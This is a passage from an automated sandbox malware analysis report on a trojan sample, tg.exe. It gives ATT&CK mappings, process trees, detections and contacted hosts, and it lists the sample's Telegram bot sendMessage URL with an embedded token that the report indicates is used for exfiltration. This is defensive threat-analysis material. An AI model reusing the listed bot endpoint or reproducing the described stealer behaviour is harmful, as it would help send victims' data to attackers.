        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_0040559A GetVersionExW,GetVersionExW,0_2_0040559A

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information1
        Scripting        		Valid Accounts1
        Command and Scripting Interpreter        		1
        Scripting        		11
        Process Injection        		1
        Masquerading        		OS Credential Dumping1
        Security Software Discovery        		Remote Services1
        Archive Collected Data        		1
        Web Service        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault Accounts1
        Native API        		1
        DLL Side-Loading        		1
        DLL Side-Loading        		31
        Virtualization/Sandbox Evasion        		LSASS Memory1
        Process Discovery        		Remote Desktop ProtocolData from Removable Media11
        Encrypted Channel        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)11
        Process Injection        		Security Account Manager31
        Virtualization/Sandbox Evasion        		SMB/Windows Admin SharesData from Network Shared Drive1
        Ingress Tool Transfer        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
        Obfuscated Files or Information        		NTDS1
        Application Window Discovery        		Distributed Component Object ModelInput Capture3
        Non-Application Layer Protocol        		Traffic DuplicationData Destruction
        Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
        Software Packing        		LSA Secrets1
        System Network Configuration Discovery        		SSHKeylogging14
        Application Layer Protocol        		Scheduled TransferData Encrypted for Impact
        Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
        DLL Side-Loading        		Cached Domain Credentials2
        File and Directory Discovery        		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
        DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup ItemsCompile After DeliveryDCSync12
        System Information Discovery        		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1579564 Sample: tg.exe Startdate: 23/12/2024 Architecture: WINDOWS Score: 84 39 api.telegram.org 2->39 41 api.ipify.org 2->41 45 Multi AV Scanner detection for submitted file 2->45 47 Yara detected Babadeda 2->47 49 Sigma detected: Check external IP via Powershell 2->49 53 2 other signatures 2->53 9 tg.exe 8 2->9         started        signatures3 51 Uses the Telegram API (likely for C&C communication) 39->51 process4 file5 35 C:\Users\user\AppData\Local\Temp\...\D274.bat, ASCII 9->35 dropped 55 Detected unpacking (overwrites its own PE header) 9->55 13 cmd.exe 2 9->13         started        signatures6 process7 process8 15 cmd.exe 1 13->15         started        17 powershell.exe 15 13->17         started        20 cmd.exe 1 13->20         started        22 4 other processes 13->22 dnsIp9 24 powershell.exe 14 15 15->24         started        37 api.telegram.org 149.154.167.220, 443, 49731 TELEGRAMRU United Kingdom 17->37 27 powershell.exe 15 20->27         started        29 powershell.exe 7 22->29         started        31 powershell.exe 7 22->31         started        33 powershell.exe 7 22->33         started        process10 dnsIp11 43 api.ipify.org 104.26.12.205, 443, 49730 CLOUDFLARENETUS United States 24->43

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        tg.exe24%ReversingLabsWin32.Trojan.Generic
        tg.exe31%VirustotalBrowse
        tg.exe100%Joe Sandbox ML

        Dropped Files

        ⊘No Antivirus matches

        Unpacked PE Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        ⊘No Antivirus matches

        Domains and IPs

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        api.ipify.org
        		104.26.12.205
        		truefalse
          		high
          api.telegram.org
          		149.154.167.220
          		truefalse
            		high

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            https://api.ipify.org/?format=textfalse
              		high
              https://api.telegram.org/bot7879910740:AAEmpll82MOqQk9TxWSC5yK5UZ56ixr0bZQ/sendMessagefalse
                		high

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                https://api.ipify.org?format=texttg.exe, 00000000.00000002.4150843497.0000000000950000.00000004.00000020.00020000.00000000.sdmp, tg.exe, 00000000.00000002.4150754804.0000000000940000.00000004.00000020.00020000.00000000.sdmp, tg.exe, 00000000.00000002.4150754804.0000000000947000.00000004.00000020.00020000.00000000.sdmp, D274.bat.0.drfalse
                  		high
                  http://nuget.org/NuGet.exepowershell.exe, 0000000D.00000002.1790251554.000001F2B3BE8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1807136479.000001F2C23D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1807136479.000001F2C2295000.00000004.00000800.00020000.00000000.sdmpfalse
                    		high
                    http://www.apache.org/licenses/LICENSE-2.0powershell.exe, 0000000D.00000002.1790251554.000001F2B389B000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      https://api.ipitg.exe, 00000000.00000002.4150754804.0000000000947000.00000004.00000020.00020000.00000000.sdmptrue
                        		unknown
                        https://api.telegram.orgpowershell.exe, 0000000D.00000002.1790251554.000001F2B356A000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://pesterbdd.com/images/Pester.pngpowershell.exe, 0000000D.00000002.1790251554.000001F2B3A73000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://crl.microsoftpowershell.exe, 0000000D.00000002.1790067889.000001F2B0694000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
                              http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 0000000D.00000002.1790251554.000001F2B3A73000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://api.telegram.org/bot7879910740:aaempll82moqqk9txwsc5yk5uz56ixr0bzq/sendmessagepowershell.exe, 0000000D.00000002.1811694654.000001F2CA5E0000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://go.micropowershell.exe, 0000000D.00000002.1790251554.000001F2B2E52000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://api.telepowershell.exe, 0000000D.00000002.1790251554.000001F2B383B000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://contoso.com/powershell.exe, 0000000D.00000002.1807136479.000001F2C2295000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://nuget.org/nuget.exepowershell.exe, 0000000D.00000002.1790251554.000001F2B3BE8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1807136479.000001F2C23D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1807136479.000001F2C2295000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://contoso.com/Licensepowershell.exe, 0000000D.00000002.1807136479.000001F2C2295000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            https://contoso.com/Iconpowershell.exe, 0000000D.00000002.1807136479.000001F2C2295000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              https://oneget.orgXpowershell.exe, 0000000D.00000002.1790251554.000001F2B389B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://aka.ms/pscore68powershell.exe, 0000000D.00000002.1790251554.000001F2B2221000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://api.telegram.orgpowershell.exe, 0000000D.00000002.1790251554.000001F2B3803000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 0000000D.00000002.1790251554.000001F2B2221000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://github.com/Pester/Pesterpowershell.exe, 0000000D.00000002.1790251554.000001F2B3A73000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://oneget.orgpowershell.exe, 0000000D.00000002.1790251554.000001F2B389B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://api.telegram.org/bot%botToken%/sendMessagetg.exe, 00000000.00000002.4150843497.0000000000950000.00000004.00000020.00020000.00000000.sdmp, tg.exe, 00000000.00000002.4150754804.0000000000940000.00000004.00000020.00020000.00000000.sdmp, tg.exe, 00000000.00000002.4150754804.0000000000947000.00000004.00000020.00020000.00000000.sdmp, D274.bat.0.drfalse
                                                            		high

                                                            World Map of Contacted IPs

                                                            • No. of IPs < 25%
                                                            • 25% < No. of IPs < 50%
                                                            • 50% < No. of IPs < 75%
                                                            • 75% < No. of IPs

                                                            Public IPs

                                                            IPDomainCountryFlagASNASN NameMalicious
                                                            149.154.167.220
                                                            		api.telegram.orgUnited Kingdom
                                                            		62041TELEGRAMRUfalse
                                                            104.26.12.205
                                                            		api.ipify.orgUnited States
                                                            		13335CLOUDFLARENETUSfalse

                                                            General Information

                                                            Joe Sandbox version:41.0.0 Charoite
                                                            Analysis ID:1579564
                                                            Start date and time:2024-12-23 01:10:07 +01:00
                                                            Joe Sandbox product:CloudBasic
                                                            Overall analysis duration:0h 7m 15s
                                                            Hypervisor based Inspection enabled:false
                                                            Report type:full
                                                            Cookbook file name:default.jbs
                                                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                            Number of analysed new started processes analysed:18
                                                            Number of new started drivers analysed:0
                                                            Number of existing processes analysed:0
                                                            Number of existing drivers analysed:0
                                                            Number of injected processes analysed:0
                                                            Technologies:
                                                            • HCA enabled
                                                            • EGA enabled
                                                            • AMSI enabled
                                                            Analysis Mode:default
                                                            Analysis stop reason:Timeout
                                                            Sample name:tg.exe
                                                            Detection:MAL
                                                            Classification:mal84.troj.spyw.evad.winEXE@26/14@2/2
                                                            EGA Information:
                                                            • Successful, ratio: 100%
                                                            HCA Information:
                                                            • Successful, ratio: 100%
                                                            • Number of executed functions: 26
                                                            • Number of non-executed functions: 49
                                                            Cookbook Comments:
                                                            • Found application associated with file extension: .exe
                                                            • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                            Warnings

                                                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                            • Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.43
                                                            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                            • Not all processes where analyzed, report is missing behavior information
                                                            • Report size exceeded maximum capacity and may have missing behavior information.
                                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                                            • Report size getting too big, too many NtQueryValueKey calls found.

                                                            Simulations

                                                            Behavior and APIs

                                                            TimeTypeDescription
                                                            19:11:00API Interceptor61x Sleep call for process: powershell.exe modified
                                                            19:11:40API Interceptor9522214x Sleep call for process: tg.exe modified

                                                            Joe Sandbox View / Context

                                                            IPs

                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                            149.154.167.220setup.exeGet hashmaliciousBabadedaBrowse
                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                user.exeGet hashmaliciousUnknownBrowse
                                                                  file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, XmrigBrowse
                                                                    file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, XmrigBrowse
                                                                      8v1GZ8v1LF.exeGet hashmaliciousUnknownBrowse
                                                                        HX Design.exeGet hashmaliciousPython Stealer, Blank GrabberBrowse
                                                                          file.exeGet hashmaliciousLummaC, Amadey, AsyncRAT, LummaC Stealer, XWormBrowse
                                                                            2QaN4hOyJs.exeGet hashmaliciousXWormBrowse
                                                                              Invoice DHL - AWB 2024 E4001 - 0000731.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                104.26.12.205jgbC220X2U.exeGet hashmaliciousUnknownBrowse
                                                                                • api.ipify.org/?format=text
                                                                                xKvkNk9SXR.exeGet hashmaliciousTrojanRansomBrowse
                                                                                • api.ipify.org/
                                                                                GD8c7ARn8q.exeGet hashmaliciousTrojanRansomBrowse
                                                                                • api.ipify.org/
                                                                                8AbMCL2dxM.exeGet hashmaliciousRCRU64, TrojanRansomBrowse
                                                                                • api.ipify.org/
                                                                                Simple2.exeGet hashmaliciousUnknownBrowse
                                                                                • api.ipify.org/
                                                                                Ransomware Mallox.exeGet hashmaliciousTargeted RansomwareBrowse
                                                                                • api.ipify.org/
                                                                                Yc9hcFC1ux.exeGet hashmaliciousUnknownBrowse
                                                                                • api.ipify.org/
                                                                                6706e721f2c06.exeGet hashmaliciousRemcosBrowse
                                                                                • api.ipify.org/
                                                                                perfcc.elfGet hashmaliciousXmrigBrowse
                                                                                • api.ipify.org/
                                                                                SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exeGet hashmaliciousRDPWrap ToolBrowse
                                                                                • api.ipify.org/

                                                                                Domains

                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                api.ipify.orgsetup.exeGet hashmaliciousBabadedaBrowse
                                                                                • 104.26.13.205
                                                                                QUOTATION#008792.exeGet hashmaliciousAgentTeslaBrowse
                                                                                • 104.26.13.205
                                                                                c9toH15OT0.exeGet hashmaliciousUnknownBrowse
                                                                                • 104.26.12.205
                                                                                https://www.canva.com/design/DAGZxEJMIA0/pFi0b1a1Y78oAGDuII8Hjg/view?utm_content=DAGZxEJMIA0&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=hdcdec8ed4aGet hashmaliciousHTMLPhisherBrowse
                                                                                • 172.67.74.152
                                                                                billys.exeGet hashmaliciousMeduza StealerBrowse
                                                                                • 172.67.74.152
                                                                                ruppert.exeGet hashmaliciousCredGrabber, Meduza StealerBrowse
                                                                                • 104.26.13.205
                                                                                DHL_231437894819.bat.exeGet hashmaliciousAgentTeslaBrowse
                                                                                • 104.26.13.205
                                                                                4089137200.exeGet hashmaliciousAgentTeslaBrowse
                                                                                • 172.67.74.152
                                                                                iviewers.dllGet hashmaliciousCredGrabber, Meduza StealerBrowse
                                                                                • 104.26.12.205
                                                                                script.ps1Get hashmaliciousCredGrabber, Meduza StealerBrowse
                                                                                • 104.26.12.205
                                                                                api.telegram.orgsetup.exeGet hashmaliciousBabadedaBrowse
                                                                                • 149.154.167.220
                                                                                file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                • 149.154.167.220
                                                                                user.exeGet hashmaliciousUnknownBrowse
                                                                                • 149.154.167.220
                                                                                file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, XmrigBrowse
                                                                                • 149.154.167.220
                                                                                file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, XmrigBrowse
                                                                                • 149.154.167.220
                                                                                8v1GZ8v1LF.exeGet hashmaliciousUnknownBrowse
                                                                                • 149.154.167.220
                                                                                HX Design.exeGet hashmaliciousPython Stealer, Blank GrabberBrowse
                                                                                • 149.154.167.220
                                                                                2QaN4hOyJs.exeGet hashmaliciousXWormBrowse
                                                                                • 149.154.167.220
                                                                                Invoice DHL - AWB 2024 E4001 - 0000731.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                • 149.154.167.220
                                                                                c9toH15OT0.exeGet hashmaliciousUnknownBrowse
                                                                                • 149.154.167.220

                                                                                ASNs

                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                TELEGRAMRUsetup.exeGet hashmaliciousBabadedaBrowse
                                                                                • 149.154.167.220
                                                                                AmsterdamCryptoLTD.exeGet hashmaliciousLummaC, DarkComet, LummaC Stealer, VidarBrowse
                                                                                • 149.154.167.99
                                                                                GoldenContinent.exeGet hashmaliciousVidarBrowse
                                                                                • 149.154.167.99
                                                                                file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                • 149.154.167.220
                                                                                file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                • 149.154.167.99
                                                                                user.exeGet hashmaliciousUnknownBrowse
                                                                                • 149.154.167.220
                                                                                file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, XmrigBrowse
                                                                                • 149.154.167.220
                                                                                file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Stealc, VidarBrowse
                                                                                • 149.154.167.99
                                                                                file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, XmrigBrowse
                                                                                • 149.154.167.220
                                                                                file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, XmrigBrowse
                                                                                • 149.154.167.99
                                                                                CLOUDFLARENETUSsetup.exeGet hashmaliciousBabadedaBrowse
                                                                                • 104.26.13.205
                                                                                AmsterdamCryptoLTD.exeGet hashmaliciousLummaC, DarkComet, LummaC Stealer, VidarBrowse
                                                                                • 104.21.80.1
                                                                                WonderHack.exeGet hashmaliciousLummaCBrowse
                                                                                • 104.21.66.86
                                                                                installer.msiGet hashmaliciousUnknownBrowse
                                                                                • 172.67.164.25
                                                                                external.exeGet hashmaliciousLummaCBrowse
                                                                                • 104.21.19.35
                                                                                Loader.exeGet hashmaliciousRHADAMANTHYSBrowse
                                                                                • 172.64.41.3
                                                                                Launcher.exeGet hashmaliciousLummaCBrowse
                                                                                • 104.21.66.86
                                                                                Setup.exeGet hashmaliciousLummaCBrowse
                                                                                • 172.67.151.193
                                                                                Setup.exeGet hashmaliciousLummaCBrowse
                                                                                • 172.67.191.144
                                                                                Full_Ver_Setup.exeGet hashmaliciousLummaCBrowse
                                                                                • 104.21.63.229

                                                                                JA3 Fingerprints

                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                3b5074b1b5d032e5620f69f9f700ff0esetup.exeGet hashmaliciousBabadedaBrowse
                                                                                • 149.154.167.220
                                                                                • 104.26.12.205
                                                                                Loader.exeGet hashmaliciousRHADAMANTHYSBrowse
                                                                                • 149.154.167.220
                                                                                • 104.26.12.205
                                                                                medicalanalysispro.exeGet hashmaliciousRHADAMANTHYSBrowse
                                                                                • 149.154.167.220
                                                                                • 104.26.12.205
                                                                                winwidgetshp.mp4.htaGet hashmaliciousLummaCBrowse
                                                                                • 149.154.167.220
                                                                                • 104.26.12.205
                                                                                Support.Client.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                • 149.154.167.220
                                                                                • 104.26.12.205
                                                                                NOTIFICATION_OF_DEPENDANTS_1.vbsGet hashmaliciousUnknownBrowse
                                                                                • 149.154.167.220
                                                                                • 104.26.12.205
                                                                                NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                • 149.154.167.220
                                                                                • 104.26.12.205
                                                                                HLMJbase.dllGet hashmaliciousUnknownBrowse
                                                                                • 149.154.167.220
                                                                                • 104.26.12.205
                                                                                HLMJbase.dllGet hashmaliciousUnknownBrowse
                                                                                • 149.154.167.220
                                                                                • 104.26.12.205
